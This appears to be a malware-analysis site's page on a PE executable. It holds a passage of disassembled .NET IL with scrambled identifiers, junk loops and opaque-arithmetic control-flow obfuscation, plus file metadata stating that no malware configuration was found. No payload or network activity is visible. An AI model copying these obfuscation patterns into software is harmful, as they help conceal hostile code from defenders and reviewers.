V_187 ldc.i4.3 <null> shl <null> ldloc.s V_187 ldc.i4.s 29 shr.un <null> or <null> stloc.s V_188 ldc.i4.s 90 stloc.s V_189 ldloc.s V_189 ldc.i4.1 <null> and <null> pop <null> ldloc.s V_161 call System.Byte[] BGdQxAsmiDGEGEunHSDfOPVetzPtsdzCIVojcMQcgwrwjeV::lHFTORpiNUsVZgtUNFRUialhqVbON(System.Byte[]) stloc.s V_190 ldc.i4 12345 stloc.s V_191 ldc.i4.4 <null> stloc.s V_192 ldloc.s V_192 ldc.i4.3 <null> rem <null> stloc.s V_251 ldloc.s V_251 switch dnlib.DotNet.Emit.Instruction[] ldc.i4.0 <null> stloc.s V_193 ldc.i4.0 <null> stloc.s V_194 br.s IL_087C: ldloc.s V_194 ldloc.s V_193 ldloc.s V_194 add <null> stloc.s V_193 ldloc.s V_194 ldc.i4.1 <null> add <null> stloc.s V_194 ldloc.s V_194 ldc.i4.3 <null> blt.s IL_086F: ldloc.s V_193 ldc.i4.0 <null> stloc.s V_195 ldloc.s V_195 ldc.i4.1 <null> add <null> stloc.s V_195 ldc.i4.0 <null> stloc.s V_196 ldc.i4.0 <null> stloc.s V_197 br.s IL_089F: ldloc.s V_197 ldloc.s V_196 ldloc.s V_197 add <null> stloc.s V_196 ldloc.s V_197 ldc.i4.1 <null> add <null> stloc.s V_197 ldloc.s V_197 ldc.i4.3 <null> blt.s IL_0892: ldloc.s V_196 ldc.i4.0 <null> stloc.s V_198 ldc.i4.0 <null> stloc.s V_199 br.s IL_08B9: ldloc.s V_199 ldloc.s V_198 ldloc.s V_199 add <null> stloc.s V_198 ldloc.s V_199 ldc.i4.1 <null> add <null> stloc.s V_199 ldloc.s V_199 ldc.i4.3 <null> blt.s IL_08AC: ldloc.s V_198 ldc.i4.0 <null> stloc.s V_200 ldc.i4.0 <null> stloc.s V_201 br.s IL_08E6: ldloc.s V_201 ldc.i4.0 <null> stloc.s V_202 br.s IL_08DB: ldloc.s V_202 ldloc.s V_200 ldloc.s V_201 ldloc.s V_202 xor <null> add <null> stloc.s V_200 ldloc.s V_202 ldc.i4.1 <null> add <null> stloc.s V_202 ldloc.s V_202 ldc.i4.2 <null> blt.s IL_08CB: ldloc.s V_200 ldloc.s V_201 ldc.i4.1 <null> add <null> stloc.s V_201 ldloc.s V_201 ldc.i4.2 <null> blt.s IL_08C6: ldc.i4.0 ldc.i4.0 <null> stloc.s V_203 ldc.i4.0 <null> stloc.s V_204 br.s IL_0900: ldloc.s V_204 ldloc.s V_203 ldloc.s V_204 add <null> stloc.s V_203 ldloc.s V_204 ldc.i4.1 <null> add <null> stloc.s V_204 ldloc.s V_204 ldc.i4.4 <null> blt.s IL_08F3: ldloc.s V_203 ldc.i4.s 123 stloc.s V_205 ldloc.s V_205 ldloc.s V_205 ldc.i4.1 <null> shl <null> xor <null> stloc.s V_206 ldloc.s V_206 ldloc.s V_205 not <null> and <null> stloc.s V_207 ldc.i4.4 <null> stloc.s V_208 ldloc.s V_208 ldc.i4.3 <null> rem <null> stloc.s V_251 ldloc.s V_251 switch dnlib.DotNet.Emit.Instruction[] ldc.i4.4 <null> stloc.s V_209 ldloc.s V_209 ldc.i4.3 <null> rem <null> stloc.s V_251 ldloc.s V_251 switch dnlib.DotNet.Emit.Instruction[] ldc.i4 12345 stloc.s V_210 ldc.i4 11259375 stloc.s V_211 ldloc.s V_211 ldc.i4 1437226410 xor <null> stloc.s V_212 ldc.i4.4 <null> stloc.s V_213 ldloc.s V_213 ldc.i4.3 <null> rem <null> stloc.s V_251 ldloc.s V_251 switch dnlib.DotNet.Emit.Instruction[] ldc.i4.s 123 stloc.s V_214 ldloc.s V_214 ldloc.s V_214 ldc.i4.1 <null> shl <null> xor <null> stloc.s V_215 ldloc.s V_215 ldloc.s V_214 not <null> and <null> stloc.s V_216 ldc.i4.s 90 stloc.s V_217 ldloc.s V_217 ldc.i4.1 <null> and <null> pop <null> ldc.i4 987654321 stloc.s V_218 ldc.i4.1 <null> stloc.s V_219 br.s IL_09AC: ldloc.s V_219 ldloc.s V_219 ldc.i4.1 <null> sub <null> stloc.s V_219 br.s IL_09B1: ldloc.s V_190 ldloc.s V_219 ldc.i4.0 <null> bgt.s IL_09A4: ldloc.s V_219 ldloc.s V_190 call System.Void qvEAJTKmkyXylyuEEEvkQLKuCbyRXZvPehDxZyspKBzepRrhCnsf::OCPujcORlbMRJVBKeNm(System.Byte[]) ldc.i4.0 <null> stloc.s V_220 ldc.i4.0 <null> stloc.s V_221 br.s IL_09E0: ldloc.s V_221 ldc.i4.0 <null> stloc.s V_222 br.s IL_09D5: ldloc.s V_222 ldloc.s V_220 ldloc.s V_221 ldloc.s V_222 xor <null> add <null> stloc.s V_220 ldloc.s V_222 ldc.i4.1 <null> add <null> stloc.s V_222 ldloc.s V_222 ldc.i4.2 <null> blt.s IL_09C5: ldloc.s V_220 ldloc.s V_221 ldc.i4.1 <null> add <null> stloc.s V_221 ldloc.s V_221 ldc.i4.2 <null> blt.s IL_09C0: ldc.i4.0 ldc.i4.4 <null> stloc.s V_223 ldloc.s V_223 ldc.i4.3 <null> rem <null> stloc.s V_251 ldloc.s V_251 switch dnlib.DotNet.Emit.Instruction[] ldc.i4.0 <null> stloc.s V_224 ldc.i4.0 <null> stloc.s V_225 br.s IL_0A12: ldloc.s V_225 ldloc.s V_224 ldloc.s V_225 add <null> stloc.s V_224 ldloc.s V_225 ldc.i4.1 <null> add <null> stloc.s V_225 ldloc.s V_225 ldc.i4.4 <null> blt.s IL_0A05: ldloc.s V_224 ldc.i4.4 <null> stloc.s V_226 ldloc.s V_226 ldc.i4.3 <null> rem <null> stloc.s V_251 ldloc.s V_251 switch dnlib.DotNet.Emit.Instruction[] ldc.i4.1 <null> stloc.s V_227 br.s IL_0A3C: ldloc.s V_227 ldloc.s V_227 ldc.i4.1 <null> sub <null> stloc.s V_227 br.s IL_0A41: ldc.i4 12345 ldloc.s V_227 ldc.i4.0 <null> bgt.s IL_0A34: ldloc.s V_227 ldc.i4 12345 stloc.s V_228 ldc.i4 12345 stloc.s V_229 ldc.i4.0 <null> stloc.s V_230 ldc.i4.0 <null> stloc.s V_231 br.s IL_0A64: ldloc.s V_231 ldloc.s V_230 ldloc.s V_231 add <null> stloc.s V_230 ldloc.s V_231 ldc.i4.1 <null> add <null> stloc.s V_231 ldloc.s V_231 ldc.i4.3 <null> blt.s IL_0A57: ldloc.s V_230 ldc.i4.4 <null> stloc.s V_232 ldloc.s V_232 ldc.i4.3 <null> rem <null> stloc.s V_251 ldloc.s V_251 switch dnlib.DotNet.Emit.Instruction[] ldc.i4 123456 stloc.s V_233 ldc.i4.s 100 stloc.s V_234 ldloc.s V_234 ldc.i4.1 <null> and <null> brtrue.s IL_0AA0: ldloc.s V_234 ldloc.s V_234 ldc.i4.2 <null> mul <null> stloc.s V_235 ldloc.s V_234 ldc.i4.2 <null> and <null> brfalse.s IL_0AAB: ldc.i4 987654321 br.s IL_0AAB: ldc.i4 987654321 ldloc.s V_234 ldc.i4.3 <null> mul <null> stloc.s V_236 ldloc.s V_234 ldc.i4.4 <null> and <null> pop <null> ldc.i4 987654321 stloc.s V_237 ldc.i4.1 <null> stloc.s V_238 br.s IL_0ABF: ldloc.s V_238 ldloc.s V_238 ldc.i4.1 <null> sub <null> stloc.s V_238 br.s IL_0AC4: ldc.i4.0 ldloc.s V_238 ldc.i4.0 <null> bgt.s IL_0AB7: ldloc.s V_238 ldc.i4.0 <null> stloc.s V_239 ldc.i4.0 <null> stloc.s V_240 br.s IL_0AD9: ldloc.s V_240 ldloc.s V_239 ldloc.s V_240 add <null> stloc.s V_239 ldloc.s V_240 ldc.i4.1 <null> add <null> stloc.s V_240 ldloc.s V_240 ldc.i4.4 <null> blt.s IL_0ACC: ldloc.s V_239 ldc.i4.4 <null> stloc.s V_241 ldloc.s V_241 ldc.i4.3 <null> rem <null> stloc.s V_251 ldloc.s V_251 switch dnlib.DotNet.Emit.Instruction[] ldc.i4.4 <null> stloc.s V_242 ldloc.s V_242 ldc.i4.3 <null> rem <null> stloc.s V_251 ldloc.s V_251 switch dnlib.DotNet.Emit.Instruction[] ldc.i4.0 <null> stloc.s V_243 ldc.i4.0 <null> stloc.s V_244 br.s IL_0B23: ldloc.s V_244 ldloc.s V_243 ldloc.s V_244 add <null> stloc.s V_243 ldloc.s V_244 ldc.i4.1 <null> add <null> stloc.s V_244 ldloc.s V_244 ldc.i4.3 <null> blt.s IL_0B16: ldloc.s V_243 ldc.i4.0 <null> stloc.s V_245 ldc.i4.0 <null> stloc.s V_246 br.s IL_0B3D: ldloc.s V_246 ldloc.s V_245 ldloc.s V_246 add <null> stloc.s V_245 ldloc.s V_246 ldc.i4.1 <null> add <null> stloc.s V_246 ldloc.s V_246 ldc.i4.3 <null> blt.s IL_0B30: ldloc.s V_245 ldc.i4.s 90 stloc.s V_247 ldloc.s V_247 ldc.i4.1 <null> and <null> pop <null> ldc.i4.0 <null> stloc.s V_248 ldc.i4.0 <null> stloc.s V_249 br.s IL_0B73: ldloc.s V_249 ldc.i4.0 <null> stloc.s V_250 br.s IL_0B68: ldloc.s V_250 ldloc.s V_248 ldloc.s V_249 ldloc.s V_250 xor <null> add <null> stloc.s V_248 ldloc.s V_250 ldc.i4.1 <null> add <null> stloc.s V_250 ldloc.s V_250 ldc.i4.2 <null> blt.s IL_0B58: ldloc.s V_248 ldloc.s V_249 ldc.i4.1 <null> add <null> stloc.s V_249 ldloc.s V_249 ldc.i4.2 <null> blt.s IL_0B53: ldc.i4.0 ret <null>

2cdbcdf52dbceeb00bbea178a2b1968e (627.71 KB)

File Structure

Characteristics

No malware configuration were found at this point.

You must be signed in to post a comment.

2cdbcdf52dbceeb00bbea178a2b1968e

PE Executable | MD5: 2cdbcdf52dbceeb00bbea178a2b1968e | Size: 627.71 KB | application/x-dosexec

PE Executable
|
MD5: 2cdbcdf52dbceeb00bbea178a2b1968e
|
Size: 627.71 KB
|
application/x-dosexec